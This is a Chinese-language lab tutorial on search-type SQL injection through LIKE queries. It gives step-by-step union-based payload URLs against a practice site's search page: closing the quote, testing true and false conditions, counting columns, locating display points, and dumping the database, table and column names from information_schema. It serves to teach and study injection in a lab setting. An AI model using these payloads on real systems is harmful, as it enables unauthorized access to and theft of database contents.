当前位置: 首页 > news >正文

sql_lab之sqli中的搜索型注入

搜索型注入

原理是运用模糊查询:

select * from users where username like '%a%'

1.找到具有模糊查询的搜索框的注入点

2.构造闭合

因为模糊查询的代码是

select * from users where username like '%a%'

所以应该

鱼%’ -- s

判断构造闭合的函数是否正确

鱼%' and 1=1 -- s

http://www.wsdc.com/views/search_p.php?keyword=鱼%' and 1=1 -- s

http://www.wsdc.com/views/search_p.php?keyword=鱼%' and 1=2 -- s

证明闭合成功

3.查询字段数

http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 10 -- s

http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 5 -- s

http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 7 -- s

http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 8 -- s

所以说字段数为7

4.union联合查询,判断回显点

http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,2,3,4,5,6,7 -- s

所以说回显点为2和6

5.查询数据库

http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,6,7 -- s

6.查询表名

http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,group_concat(table_name) ,7 from information_schema.tables where table_schema="food_db" -- s

7.查询字段

http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,group_concat(column_name) ,7 from information_schema.columns where table_schema="food_db" and table_name="collection" -- s

相关文章:

  • UBX M8T-10 DSP开发和NMEA解析
  • 使用OpenSSL生成自签名SSL/TLS证书和私钥
  • RasaGPT对话系统的工作原理
  • 基于电商场景的高并发RocketMQ实战-Commitlog基于内存的高并发写入优化、基于JVM offheap的内存读写分离机制
  • SadTalker数字人增加视频输出mp4质量精度
  • C#/WPF JSON序列化和反序列化
  • C单片机关键字extern、static 和 const
  • WPF Border
  • labelme目标检测数据类型转换
  • 重组蛋白表达系统的比较-卡梅德生物
  • Unity 渲染顺序受哪些影响(相机depth、SortingLayer、Render Queue、透明)
  • mysql的统计数据count
  • AI大模型引领未来智慧科研暨ChatGPT在地学、GIS、气象、农业、生态、环境等领域中的高级应用
  • 【即插即用篇】YOLOv8改进实战 | 引入 Involution(内卷),用于视觉识别的新一代神经网络!涨点神器!
  • 云渲染UE4像素流送搭建(winows、ubuntu单实例与多实例像素流送)
  • php的引用
  • [deviceone开发]-do_Webview的基本示例
  • [译]Python中的类属性与实例属性的区别
  • 【5+】跨webview多页面 触发事件(二)
  • ES6核心特性
  • Invalidate和postInvalidate的区别
  • leetcode378. Kth Smallest Element in a Sorted Matrix
  • MySQL主从复制读写分离及奇怪的问题
  • nodejs:开发并发布一个nodejs包
  • Three.js 再探 - 写一个跳一跳极简版游戏
  • Travix是如何部署应用程序到Kubernetes上的
  • VirtualBox 安装过程中出现 Running VMs found 错误的解决过程
  • webpack+react项目初体验——记录我的webpack环境配置
  • WePY 在小程序性能调优上做出的探究
  • 纯 javascript 半自动式下滑一定高度,导航栏固定
  • 和 || 运算
  • 浅谈web中前端模板引擎的使用
  • 日剧·日综资源集合(建议收藏)
  • 如何使用Mybatis第三方插件--PageHelper实现分页操作
  • 详解NodeJs流之一
  • 验证码识别技术——15分钟带你突破各种复杂不定长验证码
  • 再次简单明了总结flex布局,一看就懂...
  • 没有任何编程基础可以直接学习python语言吗?学会后能够做什么? ...
  • 智能情侣枕Pillow Talk,倾听彼此的心跳
  • #pragma data_seg 共享数据区(转)
  • #微信小程序:微信小程序常见的配置传值
  • #我与Java虚拟机的故事#连载15:完整阅读的第一本技术书籍
  • (1) caustics\
  • (function(){})()的分步解析
  • (JS基础)String 类型
  • (八十八)VFL语言初步 - 实现布局
  • (二)什么是Vite——Vite 和 Webpack 区别(冷启动)
  • (附源码)spring boot网络空间安全实验教学示范中心网站 毕业设计 111454
  • (附源码)springboot工单管理系统 毕业设计 964158
  • (附源码)springboot青少年公共卫生教育平台 毕业设计 643214
  • (理论篇)httpmoudle和httphandler一览
  • (转)淘淘商城系列——使用Spring来管理Redis单机版和集群版
  • .NET 4.0中的泛型协变和反变
  • .NET 5.0正式发布,有什么功能特性(翻译)
  • .net core 源码_ASP.NET Core之Identity源码学习